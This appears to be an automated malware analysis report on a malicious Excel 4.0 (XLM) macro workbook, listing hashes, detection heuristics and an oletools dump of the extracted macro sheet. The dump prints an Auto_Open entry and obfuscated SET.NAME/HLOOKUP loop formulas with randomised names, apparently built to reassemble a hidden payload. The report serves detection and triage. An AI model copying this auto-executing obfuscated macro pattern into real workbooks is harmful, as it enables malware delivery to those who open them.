Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 33c5fd31e4c2fabb…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:47 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: aacc5570cfeae8844975ea9653448a07 SHA-1: fa1352094e89c98582da3d67dbf92ac575d5f816 SHA-256: 33c5fd31e4c2fabb3b83d0d17e018362aa5e23354123290604a5ecb9b082e7fa
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6659 bytes
SHA-256: 7d6a6678aec0e56ee1f035e22d310681281b0166bcfa77c5df63cdafbe348e8a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'AQqwhLimIyh') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  faaLgQ
' 0018     26 LABEL : Cell Value, String Constant - AQqwhLimIyh len=0 
' 0018     23 LABEL : Cell Value, String Constant - atYxnNAO len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B165 
' 0018     25 LABEL : Cell Value, String Constant - bLcEWsXWbD len=0 
' 0018     24 LABEL : Cell Value, String Constant - FRhhdHpzM len=0 
' 0018     20 LABEL : Cell Value, String Constant - gKeeP len=0 
' 0018     21 LABEL : Cell Value, String Constant - gvqbEB len=0 
' 0018     23 LABEL : Cell Value, String Constant - HdPpqbIL len=0 
' 0018     23 LABEL : Cell Value, String Constant - hDvCvunD len=0 
' 0018     20 LABEL : Cell Value, String Constant - HeJWX len=0 
' 0018     23 LABEL : Cell Value, String Constant - hThyTqSg len=0 
' 0018     23 LABEL : Cell Value, String Constant - JrEytYlI len=0 
' 0018     22 LABEL : Cell Value, String Constant - JyxvNIi len=0 
' 0018     22 LABEL : Cell Value, String Constant - LInxfRb len=0 
' 0018     24 LABEL : Cell Value, String Constant - mDTnleKwd len=0 
' 0018     22 LABEL : Cell Value, String Constant - NghLnML len=0 
' 0018     24 LABEL : Cell Value, String Constant - ouLBuhZXl len=0 
' 0018     26 LABEL : Cell Value, String Constant - sfCxsldEFVf len=0 
' 0018     24 LABEL : Cell Value, String Constant - SLdWEXpFx len=0 
' 0018     25 LABEL : Cell Value, String Constant - vIOtnQwBvV len=0 
' 0018     25 LABEL : Cell Value, String Constant - YRCAUjGsXd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  faaLgQ,P58,"",113.00000000000000000000
'  faaLgQ,P59,"",-122.00000000000000000000
'  faaLgQ,P60,"",190.00000000000000000000
'  faaLgQ,P61,"",720.00000000000000000000
'  faaLgQ,P62,"",-446.00000000000000000000
'  faaLgQ,P63,"",810.00000000000000000000
'  faaLgQ,B74,"SET.NAME("JrEytYlI",0+VALUE("0"))",""
'  faaLgQ,B79,"SET.NAME("ouLBuhZXl",JrEytYlI)",""
'  faaLgQ,B83,"SET.NAME("SLdWEXpFx",JrEytYlI)",""
'  faaLgQ,B88,"SET.NAME("bLcEWsXWbD",COUNTA(atYxnNAO))",""
'  faaLgQ,B90,"SET.NAME("FRhhdHpzM",COUNTA(LInxfRb))",""
'  faaLgQ,B95,[],""
'  faaLgQ,B97,"SET.NAME("YRCAUjGsXd","")",""
'  faaLgQ,B100,"ouLBuhZXl",""
'  faaLgQ,B102,"SET.NAME("vIOtnQwBvV",HLOOKUP("*",atYxnNAO,ouLBuhZXl,FALSE))",""
'  faaLgQ,B105,"gvqbEB",""
'  faaLgQ,B107,"SET.NAME("NghLnML",JrEytYlI)",""
'  faaLgQ,B111,[],""
'  faaLgQ,B114,"NghLnML",""
'  faaLgQ,B116,"HeJWX",""
'  faaLgQ,B118,"hDvCvunD",""
'  faaLgQ,B121,"JyxvNIi",""
'  faaLgQ,B126,"SET.NAME("AQqwhLimIyh",VALUE(HLOOKUP("*",LInxfRb,JyxvNIi,FALSE)))",""
'  faaLgQ,B131,"hThyTqSg",""
'  faaLgQ,B133,"YRCAUjGsXd",""
'  faaLgQ,B135,"SLdWEXpFx",""
'  faaLgQ,B137,NEXT(),""
'  faaLgQ,B142,"gKeeP",""
'  faaLgQ,B147,[],""
'  faaLgQ,B152,"mDTnleKwd",""
'  faaLgQ,B155,NEXT(),""
'  faaLgQ,B160,RETURN(),""
'  faaLgQ,B191,"SET.NAME("sfCxsldEFVf",B74)",""
'  faaLgQ,B193,"atYxnNAO",""
'  faaLgQ,B196,"SET.NAME("LInxfRb",R99C11)",""
'  faaLgQ,B199,"SET.NAME("mDTnleKwd",206)",""
'  faaLgQ,B201,"SET.NAME("HdPpqbIL",2)",""
'  faaLgQ,B205,sfCxsldEFVf(),""
'  faaLgQ,B206,HALT(),""

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